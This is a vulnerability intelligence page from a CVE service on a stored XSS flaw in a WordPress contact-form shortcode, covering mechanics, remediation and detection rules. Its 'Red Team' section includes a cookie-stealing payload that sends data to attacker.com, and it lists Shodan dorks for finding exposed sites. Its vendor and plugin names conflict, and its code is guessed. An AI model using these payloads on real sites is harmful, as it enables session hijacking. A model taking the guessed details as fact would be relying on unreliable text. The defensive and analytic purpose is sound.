☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2295

CVE-2024-2295 Cross-Site Scripting in Xyz-maps
📅 PUBLISHED: 2024-06-01 07:35 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
5.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2295 is a Stored Cross-Site Scripting (XSS) vulnerability in the Contact Form Manager plugin for WordPress, affecting all versions up to and including 1.6.1. The flaw resides in the [xyz-cfm-form] shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor (Xyz-maps).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress application or server software like Apache or Nginx. The attack surface is limited to sites running the vulnerable plugin with contributor-level or higher user roles.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation via session hijacking elevate the real-world risk. The lack of a patch makes it a persistent threat.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The [xyz-cfm-form] shortcode allows users to embed a contact form. The plugin fails to sanitize or escape user-supplied attributes within the shortcode. An attacker with contributor-level access can create a post or page containing a malicious shortcode like:

[xyz-cfm-form name="<script>alert('XSS')</script>"]

When the page is rendered, the name attribute is output directly into the HTML without proper escaping, causing the script to execute. Because the payload is stored in the database, it persists and executes for every visitor.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates a new post or page.
  3. Attacker inserts the malicious shortcode with a JavaScript payload.
  4. The post is saved (published or pending review).
  5. Any user visiting the page triggers the XSS payload.
  6. The payload can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.6.1): The plugin likely outputs the shortcode attribute directly without escaping. Example (pseudo-code):

echo '<div class="xyz-cfm-form" data-name="' . $atts['name'] . '">';

Patched Code (hypothetical): A proper fix would use WordPress's esc_attr() function:

echo '<div class="xyz-cfm-form" data-name="' . esc_attr($atts['name']) . '">';

Since no official patch exists, users must apply a virtual patch via a Web Application Firewall (WAF) or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Contact Form Manager plugin <= 1.6.1
  • Contributor-level account

Exploit Steps:

  1. Log in as a contributor.
  2. Create a new post.
  3. In the text editor, insert the following shortcode:
    [xyz-cfm-form name="<img src=x onerror=alert(document.cookie)>"]
    
  4. Publish the post.
  5. When an admin visits the post, the JavaScript executes, displaying their cookies.

Advanced Payload (Session Hijacking):

[xyz-cfm-form name="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts containing the string [xyz-cfm-form in the content.
  • Look for unusual shortcode attributes containing <script> or onerror patterns.
  • Use WAF rules to block requests with XSS patterns in shortcode attributes.

Prevention:

  • Disable the plugin until a patch is available.
  • Restrict contributor-level accounts from using shortcodes (via user role editor).
  • Apply a virtual patch using a WAF (e.g., Wordfence, Cloudflare).

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/xyz-maps/xyz-cfm-form.php (or similar)
  • Database: Posts/pages containing [xyz-cfm-form with suspicious attributes
  • Network: Outbound requests to attacker-controlled domains (if payload exfiltrates data)
  • Logs: WordPress audit logs showing creation of posts with shortcodes by contributor-level users

Detection Engineering

YARA Rule

rule CVE_2024_2295_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Contact Form Manager plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2295"
    strings:
        $shortcode = /\[xyz-cfm-form\s+[^\]]*?(<|%3C|\\x3C)[^\]]*?/
        $xss_payload = /(onerror|onload|onclick|onmouseover)\s*=\s*["']?[^"']*?script/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-2295 Stored XSS in Contact Form Manager
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects posts containing malicious shortcode attributes
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '[xyz-cfm-form'
        post_content|re: '(<|%3C|\\x3C).*?(onerror|onload|onclick|onmouseover)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2295 Stored XSS in Contact Form Manager"; flow:to_server,established; content:"[xyz-cfm-form"; nocase; pcre:"/<|%3C|\\x3C.*?(onerror|onload|onclick|onmouseover)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Review all posts/pages created by contributor-level users for malicious shortcodes.
  3. Change all passwords if session hijacking is suspected.

Long-term Fix:

  • Monitor the vendor's website for an official patch.
  • Apply a virtual patch via WAF (e.g., Wordfence rule to block [xyz-cfm-form with XSS patterns).
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

  • Use a user role editor plugin to disable shortcode usage for contributor and author roles.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Contact Form Manager"
http.html:"xyz-cfm-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2295/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.